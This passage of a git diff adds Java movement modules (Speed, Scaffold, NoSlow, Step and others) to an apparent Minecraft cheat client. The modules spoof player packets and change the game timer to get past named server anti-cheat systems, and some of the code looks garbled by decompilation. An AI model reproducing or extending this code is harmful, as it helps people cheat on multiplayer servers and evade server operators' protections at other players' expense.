+        mc.thePlayer.motionZ = 0.0D;
+      }
+    } else if ((mode.getValue() == JumpMode.Janitor) && (e.getType() == 0) && (mc.thePlayer.moving()) && 
+      (mc.thePlayer.onGround)) {
+      e.setY(e.getY() + (mc.thePlayer.ticksExisted % 2 == 0 ? MathUtil.getHighestOffset(0.1D) : 0.0D));
+    }
+    else if (e.getType() == 0) {
+      double xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX;
+      double zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;
+      lastDist = Math.sqrt(xDist * xDist + zDist * zDist);
+    }
+  }
+  
+
+  @EventHandler
+  private void onMove(EventMove e)
+  {
+    if (mode.getValue() == JumpMode.NCP) {
+      if ((mc.thePlayer.moveStrafing <= 0.0F) && (mc.thePlayer.moveForward <= 0.0F)) {
+        stage = 1;
+      }
+      
+      if ((stage == 1) && ((mc.thePlayer.moveForward != 0.0F) || (mc.thePlayer.moveStrafing != 0.0F))) {
+        stage = 2;
+        moveSpeed = (3.0D * getBaseMoveSpeed() - 0.01D);
+      } else if (stage == 2) {
+        stage = 3;
+        mc.thePlayer.motionY = 0.424D;
+        EventMove.y = 0.424D;
+        moveSpeed *= 2.149802D;
+      } else if (stage == 3) {
+        stage = 4;
+        double difference = 0.66D * (lastDist - getBaseMoveSpeed());
+        moveSpeed = (lastDist - difference);
+      }
+      else {
+        if ((mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.boundingBox.offset(0.0D, mc.thePlayer.motionY, 0.0D)).size() > 0) || 
+          (mc.thePlayer.isCollidedVertically)) {
+          stage = 1;
+        }
+        moveSpeed = (lastDist - lastDist / 159.0D);
+      }
+      moveSpeed = Math.max(moveSpeed, getBaseMoveSpeed());
+      MovementInput movementInput = mc.thePlayer.movementInput;
+      float forward = moveForward;
+      float strafe = moveStrafe;
+      float yaw = mc.thePlayer.rotationYaw;
+      if ((forward == 0.0F) && (strafe == 0.0F)) {
+        EventMove.x = 0.0D;
+        EventMove.z = 0.0D;
+      } else if (forward != 0.0F) {
+        if (strafe >= 1.0F) {
+          yaw += (forward > 0.0F ? -45 : 45);
+          strafe = 0.0F;
+        } else if (strafe <= -1.0F) {
+          yaw += (forward > 0.0F ? 45 : -45);
+          strafe = 0.0F;
+        }
+        if (forward > 0.0F) {
+          forward = 1.0F;
+        } else if (forward < 0.0F) {
+          forward = -1.0F;
+        }
+      }
+      double mx = Math.cos(Math.toRadians(yaw + 90.0F));
+      double mz = Math.sin(Math.toRadians(yaw + 90.0F));
+      EventMove.x = forward * moveSpeed * mx + strafe * moveSpeed * mz;
+      EventMove.z = forward * moveSpeed * mz - strafe * moveSpeed * mx;
+      if ((forward == 0.0F) && (strafe == 0.0F)) {
+        EventMove.x = 0.0D;
+        EventMove.z = 0.0D;
+      } else if (forward != 0.0F) {
+        if (strafe >= 1.0F) {
+          yaw += (forward > 0.0F ? -45 : 45);
+          strafe = 0.0F;
+        } else if (strafe <= -1.0F) {
+          yaw += (forward > 0.0F ? 45 : -45);
+          strafe = 0.0F;
+        }
+        if (forward > 0.0F) {
+          forward = 1.0F;
+        } else if (forward < 0.0F) {
+          forward = -1.0F;
+        }
+      }
+    } else if ((mode.getValue() == JumpMode.Janitor) && (mc.thePlayer.moving())) {
+      moveSpeed = (MathUtil.getBaseMovementSpeed() * (mc.thePlayer.ticksExisted % 2 != 0 ? 5 : 6));
+      double x = -(Math.sin(mc.thePlayer.getDirection()) * moveSpeed);
+      double z = Math.cos(mc.thePlayer.getDirection()) * moveSpeed;
+      e.setX(x);
+      e.setZ(z);
+      if (mc.thePlayer.onGround)
+        e.setY(mc.thePlayer.motionY = 0.3D);
+    } else if ((mode.getValue() == JumpMode.Guardian) && (mc.thePlayer.moving())) {
+      if ((mc.thePlayer.moveForward != 0.0F) || (mc.thePlayer.moveStrafing != 0.0F)) {
+        if (mc.thePlayer.onGround) {
+          for (int i = 0; i < 20; i++)
+          {
+            mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+              mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+          }
+          EventMove.y = mc.thePlayer.motionY = 0.4D;
+          mc.thePlayer.setSpeed(8.0D);
+        }
+      } else {
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D;
+      }
+    }
+  }
+  
+  double getBaseMoveSpeed()
+  {
+    double baseSpeed = 0.2873D;
+    if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {
+      int amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();
+      baseSpeed *= (1.0D + 0.2D * (amplifier + 1));
+    }
+    return baseSpeed;
+  }
+  
+  static enum JumpMode {
+    NCP,  OldGuardian,  Guardian,  Janitor,  Area51;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/NoSlow.java b/src/minecraft/com/enjoytheban/module/modules/movement/NoSlow.java
new file mode 100644
index 0000000..f4e71fc
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/NoSlow.java
@@ -0,0 +1,39 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.Helper;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+
+
+
+
+
+
+
+public class NoSlow
+  extends Module
+{
+  public NoSlow()
+  {
+    super("NoSlow", new String[] { "noslowdown" }, ModuleType.Movement);
+    setColor(new Color(216, 253, 100).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    if ((mc.thePlayer.isBlocking()) && (!Helper.onServer("invaded")) && (!Helper.onServer("hypixel")) && (!Helper.onServer("faithful")) && (!Helper.onServer("mineman"))) {
+      mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+        C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Scaffold.java b/src/minecraft/com/enjoytheban/module/modules/movement/Scaffold.java
new file mode 100644
index 0000000..7f5662a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Scaffold.java
@@ -0,0 +1,206 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPostUpdate;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.RotationUtil;
+import java.awt.Color;
+import java.util.Arrays;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockAir;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.network.play.client.C0APacketAnimation;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.Vec3;
+import net.minecraft.util.Vec3i;
+
+public class Scaffold extends Module
+{
+  private Option<Boolean> tower = new Option("Tower", "tower", Boolean.valueOf(true));
+  private Option<Boolean> silent = new Option("Silent", "Silent", Boolean.valueOf(true));
+  private Option<Boolean> aac = new Option("AAC", "AAC", Boolean.valueOf(false));
+  
+
+
+  private java.util.List<Block> invalid = Arrays.asList(new Block[] { Blocks.air, Blocks.water, Blocks.fire, Blocks.flowing_water, Blocks.lava, 
+    Blocks.flowing_lava, Blocks.chest, Blocks.enchanting_table, Blocks.tnt });
+  
+  private BlockCache blockCache;
+  
+  private int currentItem;
+  
+
+  public Scaffold()
+  {
+    super("Scaffold", new String[] { "magiccarpet", "blockplacer", "airwalk" }, ModuleType.Movement);
+    addValues(new com.enjoytheban.api.value.Value[] { tower, silent, aac });
+    currentItem = 0;
+    setColor(new Color(244, 119, 194).getRGB());
+  }
+  
+  public void onEnable()
+  {
+    currentItem = mc.thePlayer.inventory.currentItem;
+  }
+  
+  public void onDisable()
+  {
+    mc.thePlayer.inventory.currentItem = currentItem;
+  }
+  
+
+
+
+
+
+
+  @EventHandler
+  private void onUpdate(EventPreUpdate event)
+  {
+    if (((Boolean)aac.getValue()).booleanValue()) {
+      mc.thePlayer.setSprinting(false);
+    }
+    if (grabBlockSlot() == -1) {
+      return;
+    }
+    blockCache = grab();
+    if (blockCache == null) {
+      return;
+    }
+    float[] rotations = RotationUtil.grabBlockRotations(blockCache.getPosition());
+    event.setYaw(rotations[0]);
+    event.setPitch(
+      RotationUtil.getVecRotation(grabPosition(blockCache.getPosition(), blockCache.getFacing()))[1] - 
+      3.0F);
+  }
+  
+  @EventHandler
+  private void onPostUpdate(EventPostUpdate event) {
+    if (blockCache == null) {
+      return;
+    }
+    if ((mc.gameSettings.keyBindJump.getIsKeyPressed()) && (((Boolean)tower.getValue()).booleanValue())) {
+      mc.thePlayer.setSprinting(false);
+      mc.thePlayer.motionY = 0.0D;
+      mc.thePlayer.motionX = 0.0D;
+      mc.thePlayer.motionZ = 0.0D;
+      mc.thePlayer.jump();
+    }
+    
+    int currentSlot = mc.thePlayer.inventory.currentItem;
+    int slot = grabBlockSlot();
+    mc.thePlayer.inventory.currentItem = slot;
+    if (placeBlock(blockCache.position, blockCache.facing)) {
+      if (((Boolean)silent.getValue()).booleanValue()) {
+        mc.thePlayer.inventory.currentItem = currentSlot;
+        mc.thePlayer.sendQueue.addToSendQueue(new C09PacketHeldItemChange(currentSlot));
+      }
+      
+      blockCache = null;
+    }
+  }
+  
+  private boolean placeBlock(BlockPos pos, EnumFacing facing)
+  {
+    Vec3 eyesPos = new Vec3(mc.thePlayer.posX, mc.thePlayer.posY + mc.thePlayer.getEyeHeight(), 
+      mc.thePlayer.posZ);
+    
+
+    if (mc.playerController.func_178890_a(mc.thePlayer, mc.theWorld, mc.thePlayer.getHeldItem(), pos, facing, new Vec3(blockCache.position).addVector(0.5D, 0.5D, 0.5D).add(new Vec3(blockCache.facing.getDirectionVec()).scale(0.5D)))) {
+      mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
+      return true;
+    }
+    return false;
+  }
+  
+  private Vec3 grabPosition(BlockPos position, EnumFacing facing)
+  {
+    Vec3 offset = new Vec3(facing.getDirectionVec().getX() / 2.0D, facing.getDirectionVec().getY() / 2.0D, 
+      facing.getDirectionVec().getZ() / 2.0D);
+    
+    Vec3 point = new Vec3(position.getX() + 0.5D, position.getY() + 0.5D, position.getZ() + 0.5D);
+    
+    return point.add(offset);
+  }
+  
+  private BlockCache grab()
+  {
+    EnumFacing[] invert = { EnumFacing.UP, EnumFacing.DOWN, EnumFacing.SOUTH, EnumFacing.NORTH, EnumFacing.EAST, 
+      EnumFacing.WEST };
+    BlockPos position = new BlockPos(mc.thePlayer.getPositionVector()).offset(EnumFacing.DOWN);
+    if (!(mc.theWorld.getBlockState(position).getBlock() instanceof BlockAir))
+      return null;
+    BlockPos offset;
+    for (EnumFacing facing : EnumFacing.values()) {
+      offset = position.offset(facing);
+      IBlockState blockState = mc.theWorld.getBlockState(offset);
+      if (!(mc.theWorld.getBlockState(offset).getBlock() instanceof BlockAir)) {
+        return new BlockCache(offset, invert[facing.ordinal()], null);
+      }
+    }
+    BlockPos[] offsets = { new BlockPos(-1, 0, 0), new BlockPos(1, 0, 0), new BlockPos(0, 0, -1), 
+      new BlockPos(0, 0, 1) };
+    if (mc.thePlayer.onGround) {
+      for (BlockPos offset : offsets) {
+        BlockPos offsetPos = position.add(offset.getX(), 0, offset.getZ());
+        IBlockState blockState2 = mc.theWorld.getBlockState(offsetPos);
+        if ((mc.theWorld.getBlockState(offsetPos).getBlock() instanceof BlockAir)) {
+          for (EnumFacing facing2 : EnumFacing.values()) {
+            BlockPos offset2 = offsetPos.offset(facing2);
+            IBlockState blockState3 = mc.theWorld.getBlockState(offset2);
+            if (!(mc.theWorld.getBlockState(offset2).getBlock() instanceof BlockAir)) {
+              return new BlockCache(offset2, invert[facing2.ordinal()], null);
+            }
+          }
+        }
+      }
+    }
+    return null;
+  }
+  
+  private int grabBlockSlot()
+  {
+    for (int i = 0; i < 9; i++) {
+      ItemStack itemStack = mc.thePlayer.inventory.mainInventory[i];
+      if ((itemStack != null) && ((itemStack.getItem() instanceof ItemBlock))) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  private class BlockCache
+  {
+    private BlockPos position;
+    private EnumFacing facing;
+    
+    private BlockCache(BlockPos position, EnumFacing facing) {
+      this.position = position;
+      this.facing = facing;
+    }
+    
+    private BlockPos getPosition() {
+      return position;
+    }
+    
+    private EnumFacing getFacing() {
+      return facing;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Sneak.java b/src/minecraft/com/enjoytheban/module/modules/movement/Sneak.java
new file mode 100644
index 0000000..37c6439
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Sneak.java
@@ -0,0 +1,45 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+import net.minecraft.network.play.client.C0BPacketEntityAction.Action;
+
+
+
+public class Sneak
+  extends Module
+{
+  public Sneak()
+  {
+    super("Sneak", new String[] { "stealth", "snek" }, ModuleType.Movement);
+    setColor(new Color(84, 194, 110).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    if (e.getType() == 0) {
+      if ((mc.thePlayer.isSneaking()) || (mc.thePlayer.moving()))
+        return;
+      mc.thePlayer.sendQueue.addToSendQueue(
+        new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));
+    }
+    else if (e.getType() == 1) {
+      mc.thePlayer.sendQueue.addToSendQueue(
+        new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));
+    }
+  }
+  
+  public void onDisable()
+  {
+    mc.thePlayer.sendQueue.addToSendQueue(
+      new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Speed.java b/src/minecraft/com/enjoytheban/module/modules/movement/Speed.java
new file mode 100644
index 0000000..99d2050
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Speed.java
@@ -0,0 +1,286 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventMove;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.TimerUtil;
+import com.enjoytheban.utils.math.MathUtil;
+import java.awt.Color;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MovementInput;
+
+
+public class Speed
+  extends Module
+{
+  private Mode<Enum> mode = new Mode("Mode", "mode", SpeedMode.values(), SpeedMode.HypixelHop);
+  private int stage;
+  private double movementSpeed;
+  private double distance;
+  
+  public Speed()
+  {
+    super("Speed", new String[] { "zoom" }, ModuleType.Movement);
+    setColor(new Color(99, 248, 91).getRGB());
+    addValues(new Value[] { mode });
+  }
+  
+  private TimerUtil timer = new TimerUtil();
+  
+  public void onDisable()
+  {
+    mc.timer.timerSpeed = 1.0F;
+    if (mode.getValue() == SpeedMode.Area51) {
+      mc.thePlayer.motionX = 0.0D;
+      mc.thePlayer.motionZ = 0.0D;
+    }
+  }
+  
+  private boolean canZoom() {
+    return (mc.thePlayer.moving()) && (mc.thePlayer.onGround);
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    if (Helper.onServer("enjoytheban")) {
+      mode.setValue(SpeedMode.Bhop);
+    }
+    setSuffix(mode.getValue());
+    if ((mode.getValue() == SpeedMode.Sloth) && (canZoom())) {
+      if (mc.thePlayer.moving()) {
+        boolean under = mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, 
+          mc.thePlayer.getEntityBoundingBox().offset(mc.thePlayer.motionX, 1.6D, mc.thePlayer.motionZ))
+          .isEmpty();
+        if ((mc.thePlayer.ticksExisted % 2 != 0) && (under)) {
+          y += 0.42D;
+        }
+        mc.thePlayer.motionY = -10.0D;
+        if (mc.thePlayer.onGround)
+        {
+          mc.thePlayer.setSpeed(mc.thePlayer.getSpeed() * (mc.thePlayer.ticksExisted % 2 == 0 ? 4.0F : 0.28F)); }
+      }
+    } else {
+      if ((mode.getValue() == SpeedMode.Onground) && (canZoom())) {}
+      switch (stage) {
+      case 1: 
+        e.setY(e.getY() + 0.4D);
+        e.setOnground(false);
+        
+        stage += 1;
+        break;
+      case 2: 
+        e.setY(e.getY() + 0.4D);
+        e.setOnground(false);
+        stage += 1;
+        break;
+      default: 
+        stage = 1;
+        
+
+
+
+        break; if ((mode.getValue() != SpeedMode.Janitor) || (e.getType() != 0) || (!canZoom()))
+          if (mode.getValue() == SpeedMode.AGC) {
+            double speed = 0.2D;
+            double x = Math.cos(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F));
+            double z = Math.sin(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F));
+            double n = mc.thePlayer.movementInput.moveForward * speed * x;
+            double xOff = n + mc.thePlayer.movementInput.moveStrafe * speed * z;
+            double n2 = mc.thePlayer.movementInput.moveForward * speed * z;
+            double zOff = n2 - mc.thePlayer.movementInput.moveStrafe * 0.5F * x;
+            
+            mc.thePlayer.setAIMoveSpeed(mc.thePlayer.getAIMoveSpeed());
+            if (mc.thePlayer.onGround) {
+              if (mc.thePlayer.moving()) {
+                mc.thePlayer.motionY = 0.2D;
+              }
+            }
+            else if (mc.thePlayer.motionY <= -0.10000000149011612D) {
+              double cock = 10.0D;
+              mc.thePlayer.setPosition(mc.thePlayer.posX + xOff * cock, mc.thePlayer.posY, 
+                mc.thePlayer.posZ + zOff * cock);
+              mc.thePlayer.motionY -= 0.0010000000474974513D;
+            }
+          }
+          else if ((mode.getValue() != SpeedMode.OldGuardian) && (mode.getValue() != SpeedMode.GuardianYport)) {
+            double xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX;
+            double zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;
+            distance = Math.sqrt(xDist * xDist + zDist * zDist);
+          } else if (mode.getValue() == SpeedMode.GuardianYport) {
+            if (mc.thePlayer.moving()) {
+              mc.timer.timerSpeed = 1.6F;
+            } else
+              mc.timer.timerSpeed = 1.0F;
+            if ((mc.thePlayer.moving()) && (mc.thePlayer.onGround))
+            {
+              mc.thePlayer.motionY = 0.12D;
+              mc.thePlayer.motionY -= 0.04D;
+              mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+                mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+              
+              mc.thePlayer.setSpeed(0.7D);
+            }
+            else {
+              mc.thePlayer.setSpeed(Math.sqrt(
+                mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ));
+            }
+          }
+          else if ((mc.thePlayer.moving()) && (mc.thePlayer.onGround))
+          {
+            mc.thePlayer.motionY = 0.4D;
+            mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+              mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+            
+            mc.thePlayer.setSpeed(1.75D);
+          }
+          else {
+            mc.thePlayer.setSpeed(Math.sqrt(
+              mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ));
+          }
+        break; }
+    }
+  }
+  
+  @EventHandler
+  private void onMove(EventMove e) {
+    if (mode.getValue() == SpeedMode.HypixelHop) {
+      if ((canZoom()) && (stage == 1)) {
+        movementSpeed = (1.56D * MathUtil.getBaseMovementSpeed() - 0.01D);
+        mc.timer.timerSpeed = 1.15F;
+      } else if ((canZoom()) && (stage == 2)) {
+        e.setY(mc.thePlayer.motionY = 0.3999D);
+        movementSpeed *= 1.58D;
+        mc.timer.timerSpeed = 1.2F;
+      } else if (stage == 3) {
+        double difference = 0.66D * (distance - MathUtil.getBaseMovementSpeed());
+        movementSpeed = (distance - difference);
+        mc.timer.timerSpeed = 1.1F;
+      } else {
+        List collidingList = mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, 
+          mc.thePlayer.boundingBox.offset(0.0D, mc.thePlayer.motionY, 0.0D));
+        if ((collidingList.size() > 0) || ((mc.thePlayer.isCollidedVertically) && (stage > 0))) {
+          stage = (mc.thePlayer.moving() ? 1 : 0);
+        }
+        movementSpeed = (distance - distance / 159.0D);
+      }
+      mc.thePlayer.setMoveSpeed(e, this.movementSpeed = Math.max(movementSpeed, MathUtil.getBaseMovementSpeed()));
+      if (mc.thePlayer.moving()) {
+        stage += 1;
+      }
+    } else if (mode.getValue() == SpeedMode.Area51) {
+      if (mc.thePlayer.moving()) {
+        if (getMinecraftthePlayer.motionY <= 0.0D) {
+          getMinecraftthePlayer.motionY *= 1.5D;
+        }
+        mc.thePlayer.onGround = true;
+        mc.timer.timerSpeed = 0.33F;
+        mc.thePlayer.setSpeed(4.0D);
+      } else {
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D;
+      }
+    } else if ((mode.getValue() == SpeedMode.Onground) && (canZoom())) {
+      switch (stage) {
+      case 1: 
+        mc.timer.timerSpeed = 1.22F;
+        movementSpeed = (1.89D * MathUtil.getBaseMovementSpeed() - 0.01D);
+        distance += 1.0D;
+        if (distance == 1.0D) {
+          e.setY(e.getY() + 8.0E-6D);
+        } else if (distance == 2.0D) {
+          e.setY(e.getY() - 8.0E-6D);
+          distance = 0.0D;
+        }
+        break;
+      case 2: 
+        movementSpeed = (1.2D * MathUtil.getBaseMovementSpeed() - 0.01D);
+        break;
+      default: 
+        movementSpeed = ((float)MathUtil.getBaseMovementSpeed());
+      }
+      mc.thePlayer.setMoveSpeed(e, this.movementSpeed = Math.max(movementSpeed, MathUtil.getBaseMovementSpeed()));
+      stage += 1;
+    } else if ((mode.getValue() == SpeedMode.Janitor) && (canZoom())) {
+      mc.thePlayer.setSpeed(mc.thePlayer.ticksExisted % 2 != 0 ? 0 : 2);
+    }
+    else if (mode.getValue() == SpeedMode.Mineplex) {
+      mc.timer.timerSpeed = 1.1F;
+      if ((canZoom()) && (stage == 1)) {
+        movementSpeed = 0.58D;
+      } else if ((canZoom()) && (stage == 2)) {
+        e.setY(mc.thePlayer.motionY = 0.3D);
+        movementSpeed = 0.64D;
+      } else if (stage == 3) {
+        double difference = 0.66D * (distance - MathUtil.getBaseMovementSpeed());
+        movementSpeed = (distance - difference);
+      } else {
+        List collidingList = mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, 
+          mc.thePlayer.boundingBox.offset(0.0D, mc.thePlayer.motionY, 0.0D));
+        if ((collidingList.size() > 0) || ((mc.thePlayer.isCollidedVertically) && (stage > 0))) {
+          stage = (mc.thePlayer.moving() ? 1 : 0);
+        }
+        movementSpeed = (distance - distance / 159.0D);
+      }
+      mc.thePlayer.setMoveSpeed(e, this.movementSpeed = Math.max(movementSpeed, MathUtil.getBaseMovementSpeed()));
+      if (mc.thePlayer.moving()) {
+        stage += 1;
+      }
+    } else if (mode.getValue() == SpeedMode.Bhop) {
+      mc.timer.timerSpeed = 1.07F;
+      if ((canZoom()) && (stage == 1)) {
+        movementSpeed = (2.55D * MathUtil.getBaseMovementSpeed() - 0.01D);
+      } else if ((canZoom()) && (stage == 2)) {
+        e.setY(mc.thePlayer.motionY = 0.3999D);
+        movementSpeed *= 2.1D;
+      } else if (stage == 3) {
+        double difference = 0.66D * (distance - MathUtil.getBaseMovementSpeed());
+        movementSpeed = (distance - difference);
+      } else {
+        List collidingList = mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, 
+          mc.thePlayer.boundingBox.offset(0.0D, mc.thePlayer.motionY, 0.0D));
+        if ((collidingList.size() > 0) || ((mc.thePlayer.isCollidedVertically) && (stage > 0))) {
+          stage = (mc.thePlayer.moving() ? 1 : 0);
+        }
+        movementSpeed = (distance - distance / 159.0D);
+      }
+      mc.thePlayer.setMoveSpeed(e, this.movementSpeed = Math.max(movementSpeed, MathUtil.getBaseMovementSpeed()));
+      if (mc.thePlayer.moving()) {
+        stage += 1;
+      }
+    } else if (mode.getValue() == SpeedMode.Guardian) {
+      if (mc.thePlayer.moving()) {
+        if (mc.thePlayer.onGround) {
+          for (int i = 0; i < 20; i++)
+          {
+            mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+              mc.thePlayer.posY + 1.0E-9D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+          }
+          mc.thePlayer.setSpeed(1.399999976158142D);
+          EventMove.y = mc.thePlayer.motionY = 0.4D;
+        } else {
+          mc.thePlayer.setSpeed((float)Math.sqrt(
+            mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ));
+        }
+      } else {
+        mc.thePlayer.motionX = 0.0D;
+        mc.thePlayer.motionZ = 0.0D;
+      }
+    }
+  }
+  
+  static enum SpeedMode {
+    Bhop,  HypixelHop,  Onground,  OldGuardian,  Guardian,  GuardianYport,  Mineplex,  AGC,  Janitor,  Sloth,  Area51;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Sprint.java b/src/minecraft/com/enjoytheban/module/modules/movement/Sprint.java
new file mode 100644
index 0000000..d985fe3
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Sprint.java
@@ -0,0 +1,33 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.util.FoodStats;
+
+
+public class Sprint
+  extends Module
+{
+  private Option<Boolean> omni = new Option("Omni-Directional", "omni", Boolean.valueOf(true));
+  
+  public Sprint() {
+    super("Sprint", new String[] { "run" }, ModuleType.Movement);
+    
+    setColor(new Color(158, 205, 125).getRGB());
+    addValues(new Value[] { omni });
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate event) {
+    if ((mc.thePlayer.getFoodStats().getFoodLevel() > 6) && (((Boolean)omni.getValue()).booleanValue()) ? mc.thePlayer.moving() : mc.thePlayer.moveForward > 0.0F) {
+      mc.thePlayer.setSprinting(true);
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Step.java b/src/minecraft/com/enjoytheban/module/modules/movement/Step.java
new file mode 100644
index 0000000..b4c5800
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Step.java
@@ -0,0 +1,79 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+
+public class Step extends Module
+{
+  private Numbers<Integer> height = new Numbers("Height", "height", Double.valueOf(1.0D), Double.valueOf(1.0D), Double.valueOf(10.0D), Double.valueOf(0.5D));
+  private Option<Boolean> ncp = new Option("NCP", "ncp", Boolean.valueOf(false));
+  
+  public Step() {
+    super("Step", new String[] { "autojump" }, ModuleType.Movement);
+    setColor(new Color(165, 238, 65).getRGB());
+    addValues(new com.enjoytheban.api.value.Value[] { ncp });
+  }
+  
+  public void onDisable()
